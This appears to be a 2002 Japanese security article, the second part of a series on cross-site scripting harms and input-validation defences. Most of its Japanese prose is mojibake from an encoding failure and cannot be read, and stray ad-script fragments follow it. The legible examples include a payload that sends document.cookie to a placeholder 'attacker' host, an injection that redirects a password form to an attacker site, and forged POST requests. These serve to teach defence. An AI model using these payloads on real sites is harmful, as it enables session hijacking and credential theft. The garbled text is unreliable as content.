XSS�Ǝ㐫�ɂ��N�����Q�Ƃ��̑΍��F�N���X�T�C�g�X�N���v�e�B���O�΍�̊�{�i���ҁj

» 2002�N12��05�� 00��00�� ���J
[�����T�C�O�䕨�YGTI]

�@�O���ł́AWeb�A�v���P�[�V�����ɐ��ރZ�L�����e�B�z�[���A�u�N���X�T�C�g�X�N���v�e�B���O�iXSS�j�v�Ƃ͂ǂ̂悤�ȐƎ㐫�ł���̂��ɂ‚��ďq�ׂ��B���E��҂ł͋N���蓾���Q�ɂ‚��ĂƁA�ǂ̂悤�ɑ΍������΂悢�̂���������Ă����B

XSS�Z�L�����e�B�z�[���ɂ��N���蓾���Q

�@XSS�̃Z�L�����e�B�z�[��������ƁA�U���҂͂�����_�����U�������邾�낤�B�������U���Ƃ����Ă��A�Z�L�����e�B�z�[��������Web�T�C�g�ɑ΂���U���ł͂Ȃ��A����Web�T�C�g�̗��p�҂ɑ΂���U���ƂȂ�B

�@�܂����[�U�[�ɑ΂���U���Ƃ����Ƃ��܂܂łɂ��A���ӂ̂���X�N���v�g���d�|����ꂽ�i�U���҂́jWeb�T�C�g�ɃA�N�Z�X�������[�U�[����Q���󂯂�Ƃ������̂��������BXSS�𗘗p�����U�����A�U���҂�Web�T�C�g�Ƀ��[�U�[���A�N�Z�X���Ĕ�Q���N����Ƃ����_�͕ς��Ȃ����A�d���܂�Ă���X�N���v�g���ǂ����瑗���Ă���̂����Ⴄ���߂ɁA�قȂ��Q���������邱�ƂɂȂ�B

}1 XSSU̗̗ �}1 XSS�U���̗���̗�

�@�}1�ɂ����āA�X�N���v�g�����s�����̂�6�̒i�K�ł��邪�A���̃y�[�W���ǂ��Ő������ꑗ�M����Ă��邩�Ƃ����ƁAXSS�̃Z�L�����e�B�z�[��������u�Ǝ�T�C�g�v�Ƃ������ƂɂȂ�B�‚܂藘�p�҂��炷��ƁA�Ǝ�T�C�g���瑗���Ă����X�N���v�g���u���E�U��Ŏ��s����邱�ƂɂȂ�A���p�҂����ړI�Ȕ�Q���󂯂邱�ƂɂȂ�B

�@�X�N���v�g����A�N�Z�X�ł�����͈̔͂́A���̃X�N���v�g���܂񂾃y�[�W���Ɍ�����B�Ⴆ�΁A�U���҂̃T�C�g�ihttp://attacker/cookie.html�j�Ɏ��̂悤��cookie�ɃA�N�Z�X����X�N���v�g���������Ƃ���B

<script>
alert�idocument.cookie�j;
</script>

�@���̃X�N���v�g���A�N�Z�X�ł���cookie�́A�X�N���v�g�������Ă����y�[�W�A�‚܂�http://attacker/cookie.html�ɋN������cookie�����ł���B���T�C�g�Ŕ��s����Ă���cookie�ɃA�N�Z�X���邱�Ƃ͂ł��Ȃ��B

�@������XSS�̃Z�L�����e�B�z�[��������ƁA���̂悤�ȃX�N���v�g���܂񂾃y�[�W���Ǝ�T�C�g���瑗���Ă��邱�ƂɂȂ�B����āA���̃X�N���v�g���A�N�Z�X�ł���cookie�́A�Ǝ�T�C�g�Ŕ��s���ꂽcookie�ƂȂ�B

�@���̓���̈Ⴂ�ɂ��A�P�ɍU���҂̗p�ӂ������ӂ̂���X�N���v�g�����s���ꂽ�ꍇ�Ƃ͈قȂ��Q����������B���̎�Ȕ�Q�����ɋ�����B

��cookie�̓���

�@���ꂪXSS�̔�Q�Ƃ��Ă͈�ʂɍL���m���Ă���B�udocument.location="http://attacker/cookie.cgi?cookie="+document.cookie;�v�Ƃ����X�N���v�g�����s�����ƁA�U���҃T�C�g��cookie.cgi�Ƀ��[�U�[��cookie���܂񂾌`�ŃA�N�Z�X���邱�ƂɂȂ�B�U���҃T�C�g��Web�T�[�o�̃��O�ɂ��c�邾�낤���Acookie�f�[�^���󂯂�CGI�ł͂ǂ�ȏ����ł��ł��邱�ƂɂȂ�B

�@����ɁAcookie���L�^��Ɍ��̃y�[�W��\������悤�Ȏd�|�����U���҂��p�ӂ��Ă���΁A���[�U�[��cookie�����܂ꂽ���Ƃɂ����C���t���Ȃ��ł��낤�B

�@�������A�P��cookie�����܂ꂽ�����ł͂قƂ�ǔ�Q�͋N���Ȃ��B��Q���N����̂́A����cookie�̒��Ɋ܂܂����̓��e�ɖ�肪��������Acookie�̎g�����ɖ�肪����Web�A�v���P�[�V�������g�p���Ă���ꍇ���B

�@cookie�Ɋ܂܂�Ă�����ɖ�肪�����Ƃ��āA�T�C�g�Ƀ��O�C�����邽�߂̃��[�U�[ID�ƃp�X���[�h��ۑ����Ă���Web�A�v���P�[�V����������Ƃ���B����cookie�𓐂܂�Ă��܂��ƁA�U���҂����l�ɂȂ肷�܂��ă��O�C�����邱�Ƃ��ł��Ă��܂����ƂɂȂ�B

�@cookie�Ɍl�����܂܂��A�Z�b�V����ID�̂悤�ȏ�񂾂����i�[���Ă���ꍇ�ł��Acookie�̃Z�b�V����ID�����Ń��[�U�[�F�؂��s���Ă���ꍇ�͊댯�ł���B���܂ꂽ�icookie�Ɋ܂܂�Ă���j�Z�b�V����ID���U���҂��g���ƁA���K�̃��[�U�[�̃Z�b�V�����������邱�Ƃ��ł���B�Z�b�V�������������Ă��܂��ƁA���K�̃��[�U�[���s���邱�Ƃ����ׂčU���҂ɂ���čs���Ă��܂����ƂɂȂ�B

���y�[�W�̉�����

�@�X�N���v�g�̎��s�����ɒ��ӂ��Ă���΂悢���Ƃ����Ƃ��������킯�ł͂Ȃ��B

�@<script></script>�̑����<img>�̂悤�ȉ摜��\��������^�O���}�������ƁA�{���̃y�[�W�Ƃ͂܂������֌W�̂Ȃ��摜���\������邱�ƂɂȂ邾�낤�B�C�ӂ̃^�O���g����悤�ł���΁A�y�[�W�̈ꕔ��ύX�������̂����[�U�[�Ɍ����邱�Ƃ��A�u�|�Y���܂����v�Ƃ����悤�Ȉꕶ���������{���̃g�b�v�y�[�W�ɂ悭�����y�[�W����邱�Ƃ��”\�ɂȂ�B��������ĐM���Ă��܂��l�����Ȃ��Ȃ����낤�B���̌��ʁA�₢���킹���E��������A�������\�����Ă��܂�����Ƃ�����2���I�Ȕ�Q���N���邱�Ƃ��\���l������B

�@����ɁA�t�H�[���̑��M���ς��邱�Ƃ��ł���B���[�U�[���͂������̏ꍇ�ɁA

<form action="regist.cgi">
<input type="hidden" name="sample" value="����">
�p�X���[�h: <input type="text" name="name" value="password">
<input type="submit">
</form>


�Əo�͂���y�[�W�ɑ΂��āA�u"></form><form action="http://attacker/regist.cgi�v�Ɠ��͂���Ă��܂��ƁA���ʓI�ɏo�͂����y�[�W�́A

<form action="regist.cgi">
<input type="hidden" name="sample" value=""></form><form action="http://attacker/regist.cgi">
�p�X���[�h: <input type="text" name="name" value="password">
<input type="submit">
</form>


�ƂȂ�A���[�U�[�������̓��͂����đ��M����Ƃ��̓��e���U���҂̃T�C�g�֑��M�����悤�ȃy�[�W����邱�Ƃ��”\�ł���B

HTTP�����HTML�����̓��ꕶ���̑΍�

�@HTTP�����HTML���ɂ����āA���ʂȈӖ������•����Ƃ��Ē�`����Ă��镶���������‚�����B�L���ȂƂ���Łu<�v�Ɓu>�v�́AHTML�̍\�����L�q���邽�߂̃^�O�̊J�n�ƏI����\�����߂̋�؂蕶���Ƃ��Ďg�p����A�Ƃ������ʂȈӖ��������Ă���B

�@�����̓��ꕶ����HTML�������ɋL�q����K�v������ꍇ�́A�K�؂ȕ��@�ŕϊ����Ȃ���΂Ȃ�Ȃ��BXSS�̐Ǝ㐫�̂���Web�A�v���P�[�V�����̂قƂ�ǂ́A�����̓��ꕶ���̑��݂��ӎ����Ȃ��ō���Ă��܂��Ă��錇�׃v���O�����ł���B���̑΍����@���悭�ǂ݁A���׃v���O���������Ȃ��悤�ɂ��Ă������������B

���΍�̗���

�@�A�v���P�[�V�����́A���͒l���󂯎��A������������A�o�͂���A�Ƃ����ɂ߂ĒP���ȗ���̑g�ݍ��킹�ō���Ă��邾�낤�B

}2 ΍̗ �}2 �΍�̗���

�@XSS�����ɂȂ�̂́A�u�u���E�U�ɏo�͂���v�����̕����Ńv���O�����~�X������ꍇ�ɋN����B���̕����Łu<�v�Ɓu>�v�Ȃǂ̓��ꕶ�����T�j�^�C�W���O�i���Q���F�ڍׂ���������j����΂����̂����A������Ƒ҂��Ăق����B�����������ꕶ�����󂯕t����K�v������̂��ǂ������悭�l����K�v������B

�@XSS�΍�̍ŏ��̈���́A�u���̓`�F�b�N�v�ł���B���̌�A���̓`�F�b�N�ɘR�ꂽ���ꕶ�����A�o�͂̒��O�ɏ�������A�Ƃ�������ɂȂ�B

XSS�΍�̍ŏ��̈���́u���̓`�F�b�N�v

�@���̓`�F�b�N�𐳂����s�����Ƃɂ���āA�uOS�R�}���h�C���W�F�N�V�����v�uSQL�C���W�F�N�V�����v�u�o�b�t�@�I�[�o�[�t���[�v�Ƃ�����XSS�ȊO�̃Z�L�����e�B�z�[���̑΍�ƂȂ�ꍇ���قƂ�ǂł���B���ɈӖ��̂���v���Z�X�Ȃ̂ŁA�m���ɍs���Ăق����B

��OS�R�}���h�C���W�F�N�V����
���N�G�X�g��OS�R�}���h���C���W�F�N�V�����i�������ށj���A�T�[�o��ŔC�ӂ�OS�R�}���h�����s������U���B�T�[�o�̃p�X���[�h�t�@�C���̒D��AWeb�y�[�W�̉�����A�Ǘ��Ҍ����̒D��Ȃǂ��s���Ă��܂����ꂪ����B

��SQL�C���W�F�N�V����
���N�G�X�g�� SQL �R�}���h���C���W�F�N�V�������A�C�ӂ�SQL�R�}���h�����s������U���B����ɂ��f�[�^�x�[�X�Ɋi�[����Ă���f�[�^�̎Q�ƁA�f�[�^�̑���A�X�g�A�h�v���V�[�W���ւ̕s���ȃA�N�Z�X�A�O���v���O�����̕s���ȌĂяo�����ł��Ă��܂����ꂪ����B


�@���̂悤�ȗX�֔ԍ��̓��͗�������ꍇ���l����B

}3 ͗ꍇ̗ �}3 ���͗�������ꍇ�̗�

�@�������̂Ƃ�����{�̗X�֔ԍ��ɂ́A

  • �O�������́A����3�����ō\�������
  • �㔼�����́A����4�����ō\�������

�Ƃ������[��������B����āA�A���t�@�x�b�g��L���Ȃǐ����ȊO�̕����₱������������������͂���Ă���ꍇ�́A�s���ȓ��͂��s��ꂽ�Ƃ��ď�������K�v�����邾�낤�B�X�֔ԍ��Ɍ��炸�A���ꂼ��̃p�����[�^�ɂ͓��͒l�Ƃ��ċ��‚���l�����܂��Ă���͂��ł���̂ŁA����������O�ɂ悭�l���Ăق����B

  • �펯�I�Ɍ��܂��Ă��郋�[��
    • �a�����i�����̂݁A1�`12�̂����ꂩ�j
    • �s���{�����i�k�C���A�X���c�c���������A���ꌧ�̂����ꂩ�j
  • �A�v���P�[�V�������•ʂɌ��߂Ă��郋�[��
    • ���[�U�[���i���p�p���̂�8�����ȉ��j
    • ���i�R�[�h�i���p�p����32�����j

�@�����s���Ȓl�����͂��ꂽ�ꍇ�A�Z�L�����e�B�ȑO�̖��Ƃ��ăA�v���P�[�V�������듮�삵�Ă��܂����Ƃɂ��Ȃ肩�˂Ȃ��B�s���Ȓl�����͂��ꂽ��ē��͂𑣂��Ȃǂ̃G���[�������s���΂悢�����Ȃ̂����A���ꂳ�����s���Ă��Ȃ�Web�A�v���P�[�V���������ɑ������󂯂���B�����̂��Ƃ͊�{���̊�{�ł���̂ŁA�m���ɍs���Ăق����B

���̓`�F�b�N�̗��Ƃ���

�@���̓`�F�b�N�́A�T�[�o���ł��ׂẴp�����[�^�ɂ‚��Ė���K���s���K�v������B�Ȃ������悤�Șb���܂��o�Ă��邩�Ƃ����ƁA���̓`�F�b�N�������‚���ɂȂ��Ă��邾���Ō��ʂ̂Ȃ����������Ă���P�[�X�����X���邩��ł���B�����ł̃|�C���g��3�‚���B

  1. �T�[�o��
  2. ���ׂẴp�����[�^
  3. ����

1.�T�[�o���Ń`�F�b�N������

�@JavaScript�œ��̓`�F�b�N�����Ă���y�[�W�ɏo�������Ƃ�����B�X�֔ԍ����ɃA���t�@�x�b�g����͂���ƁA�ē��͂���悤�Ƀ��b�Z�[�W���o�Ă���i�}4�j�B

}4 ē͂悤ɑbZ[W �}4 �ē��͂���悤�ɑ������b�Z�[�W

�@���ꂾ���ŗX�֔ԍ����̓��̓`�F�b�N�����A�Ƃ���̂͊ԈႢ�ł���̂Œ��ӂ��Ȃ���΂Ȃ�Ȃ��B�Ⴆ�΁AJavaScript�̎��s��Off�ɂ��Ă��郆�[�U�[�͂ǂ����낤���BJavaScript�ɂ����̓`�F�b�N������Ȃ��̂ŁA�s���Ȓl���T�[�o�ɑ��M����邱�ƂɂȂ�B

�@�܂��A���̓t�H�[�����U���҂��p�ӂ��Ă��Ă�������A�N�Z�X����Ă��܂��ƁAJavaScript�ɂ��`�F�b�N�͂܂������@�\���Ȃ��BJavaScript�Ȃǂɂ��N���C�A���g���̓��̓`�F�b�N�́A���[�U�[�̓��̓~�X�𐳂����ʂɂ‚��Ă͊��҂ł��邪�A�Z�L�����e�B�̌��ʂ͂܂������Ȃ��̂ŁA�N���C�A���g���`�F�b�N�̗L���ɂ�����炸�T�[�o���ł̃`�F�b�N�����邱�Ƃ�Y��Ă͂����Ȃ��B

2.���ׂẴp�����[�^���`�F�b�N������

�@�}5�̓��W�I�{�^�����g�����A�v���P�[�V�����̗�ł���B�N�����͂�3�‚̒�����D���ȃP�[�L�̎�ނ�I�����đ��M����B

<form method="POST" action="input.cgi">
�N�����͂��Ă�������: <input type="text" size="3">��<br>
<p>
�ǂ̃P�[�L����ԍD���ł����H<br>
<input type="radio" name="cake" value="marron">�}�����P�[�L<br>
<input type="radio" name="cake" value="crape">�N���[�v<br>
<input type="radio" name="cake" value="chocolat">�`���R���[�g�P�[�L<br>
<input type="submit" value="���M">
</form>
}5 WI{^gAvP[V̗ �}5 ���W�I�{�^�����g�����A�v���P�[�V�����̗�

�@�N��̓��̓`�F�b�N�𐳂����s���������ł͕s�\���ł���B���̃y�[�W�ő��M�{�^���������ƁA�l�b�g���[�N��ł͈ȉ��̂悤�Ƀf�[�^�����M����Ă���B

POST /path/cake.cgi HTTP/1.0
�i�r���ȗ��j
age=18&cake=marron

�@�����ɂ̓��W�I�{�^������I�����ꂽ���ǂ����̏��͂܂������܂܂�Ă��炸�A�p�����[�^���ƃp�����[�^�l���񋓂���Ă��邾���ƂȂ�B�U���҂͎��̂悤�ɁA���W�I�{�^���̑���ɔN��Ɠ��l�̃e�L�X�g�{�b�N�X�ɂ����y�[�W��p�ӂ���B

<form method="POST" action="http://www.example.com/input.cgi">
�N�����͂��Ă�������: <input type="text" size="3">��<br>
�ǂ̃P�[�L����ԍD���ł����H <input type="text" name="cake" value="�C�`�S�V���[�g"><br>
<input type="submit" value="���M">
</form>
}6 U҂pӂAWI{^̑ɔNƓl̃eLXg{bNXɂy[W �}6 �U���҂��p�ӂ����A���W�I�{�^���̑���ɔN��Ɠ��l�̃e�L�X�g�{�b�N�X�ɂ����y�[�W

�@��������f�[�^�𑗐M����΁A�I�����ڂƂ��đ��݂��Ȃ��P�[�L��I���ł��邱�ƂɂȂ�B

POST /path/cake.cgi HTTP/1.0
�i�r���ȗ��j
age=18&cake=�C�`�S�V���[�g

�@���W�I�{�^���̂ق��ɂ��Z���N�g�{�b�N�X�A�`�F�b�N�{�b�N�X�AHidden�t�B�[���h�ACookie�̒l�ȂǁA�ꌩ����ꂽ��ނ̒l�����������͂���Ȃ��悤�Ɏv������̂����邪�A���l�̎�@�ɂ��C�ӂ̒l����͂����”\��������B

�@����āA���ׂẴp�����[�^�ɑ΂��ĖY�ꂸ�ɓ��̓`�F�b�N�����Ȃ���΂Ȃ�Ȃ��B���̗�̏ꍇ�ł���΁A�gcake�p�����[�^�́Amarron��crape��chocolate�̂ǂꂩ�łȂ���΂����Ȃ��h�Ƃ����g�A�v���P�[�V�������•ʂɌ��߂Ă��郋�[���h�����邱�ƂɂȂ�B

3.����`�F�b�N������

�@��K�͂ȉ���t�H�[���ȂǁA�����̃y�[�W�ɓn���ă��[�U�[�ɓ��͂�������V�X�e��������B

�@�Ⴆ�΁A

�i1�j ���O�A�d�b�ԍ��A�X�֔ԍ��̓��̓y�[�W
�@�@�@�@��
�i2�j �Z���̓��̓y�[�W
�@�@�@�@��
�i3�j ���劮��

�@���������V�X�e���̃A�v���P�[�V�����ɂ悭������̂��A�i2�j�Z�����̓y�[�W��Hidden�t�B�[���h�ɖ��O�A�d�b�ԍ��A�X�֔ԍ����B���Ă����A�Ƃ������@���B���Ƀ��[�U�[���Z������͂��đ��M����ƁA���O�A�d�b�ԍ��A�X�֔ԍ��A�Z�����ׂĂ����M�����B

<form method="POST" action="input3.cgi">
����: �����T<br>
�d�b�ԍ�: 03-5641-****<br>
�X�֔ԍ�: 103-****<br>
�Z��: �����s��������{���l�`�������� <input type="text" name="address2"><br>
<input type="hidden" name="name" value="����">
<input type="hidden" name="tel" value="03-5641-****">
<input type="hidden" name="postal" value="103-****">
<input type="hidden" name="address1" value="�����s��������{���l�`��������">
<input type="submit" value="���M">
</form>
}7 Z̓̓y[W �}7 �Z���̓��̓y�[�W

�@�����œ��̓`�F�b�N��Y��Ă��邱�Ƃ������B�m���ɁAHidden�t�B�[���h�ɏ�����Ă��閼�O�A�d�b�ԍ��A�X�֔ԍ��́A�i2�j�̒i�K�Ń`�F�b�N�ς݂̒l�ł���B

�@�������O���Ő��������悤��Hidden�t�B�[���h�̒l�͊ȒP�ɏ��������邱�Ƃ��ł���B���̂��߁i2�j�Ń`�F�b�N�����l�����̂܂܁i3�j�ɑ��M����Ă���Ƃ����ۏ�͂܂������Ȃ��B

�@����āi3�j�ł͐V���ȏZ���̓��̓`�F�b�N�ɉ����A�i2�j�Ń`�F�b�N�������O�E�d�b�ԍ��E�X�֔ԍ��̍��ڂɂ‚��Ă��ēx���̓`�F�b�N���s��Ȃ���΂Ȃ�Ȃ��B���ꂪ���Ȃ�΁AHidden�͎g�킸�ɃT�[�o���̃f�[�^�x�[�X��t�@�C���ȂǂɈꎞ�ۑ�������@�����Ȃ����낤�B


�@����́AXSS�΍�Ƃ��Č����Ƃ������ȁu���̓`�F�b�N�v���d�v�ł��邱�Ƃ���������B����́A���ꕶ���̃T�j�^�C�W���O�𒆐S�ɁA�Z�L�����e�B�z�[���ւ̑΍�ɂ‚��ĉ�����s���Ă����B

Profile

���� �T�i������ �䂽���j

�O�䕨�Y�������GTI�v���W�F�N�g�Z���^�Ζ��B�Z�L�����e�B�R���T���^���g�Ƃ��āA�s���A�N�Z�X�Ď���Z�L�����e�B���� �Ȃǂɏ]�����Ă���B���Z�@�ցA�������A��萻���ƂȂǂւ̃Z�L�����e�B�V �X�e���̓����A�Z�L�����e�B�����Ȃǂ̎��т����B

�O�䕨�Y�������GTI�v���W�F�N�g�Z���^�i���F�O�䕨�Y�Z�L���A�f�B���N�V������������j

��ɁA�s���A�N�Z�X�Ď��T�[�r�X�A�Z�L�����e�B�����A�Z�L�����e�B�|���V�[����x���Ȃǂ̃T�[�r�X�񋟂��Ă���B�܂��A�Z�L�����e�B�Ɋւ��鋳��T�[�r�X�����{���B



Copyright © ITmedia, Inc. All Rights Reserved.

'; if( !this.isSubscription ) { this.insertTarget = document.querySelector('#cmsBody .subscription') || document.querySelector('#cmsBody .inner'); } }; BodyAdIMSWithCCE.prototype = Object.create(BodyAdContent.prototype); BodyAdIMSWithCCE.prototype.activate = function () { refreshGam('InArtSpecialLink'); } // global reference window.itm = itm; //entry point BodyAdEventBase.polyfill(); const bodyAdManager = BodyAdManager.getInstance(); bodyAdManager.addEventListener(BodyAdManager.EVENTS.READY, function (ev) { bodyAdManager.loadAdvertise(); }); bodyAdManager.init(); })();
�X�|���T�[����̂��m�点PR

���ڂ̃e�[�}

4AI by IT - AIAAA
Microsoft  WindowsőO2025
AI for GWjAO
[R[h^m[R[h Zg by IT - ITGWjArWlX̒SŊ􂷂gD
Cloud Native Central by IT - XP[uȔ\͂gD
�V�X�e���J���m�E�n�E �y�����i�r�zPR
���Ȃ��ɂ������߂̋L��PR

RSS�ɂ‚���

�A�C�e�B���f�B�AID�ɂ‚���

���[���}�K�W���o�^

��IT�̃��[���}�K�W���́A �������A���ׂĖ����ł��B���Ѓ��[���}�K�W�������w�ǂ��������B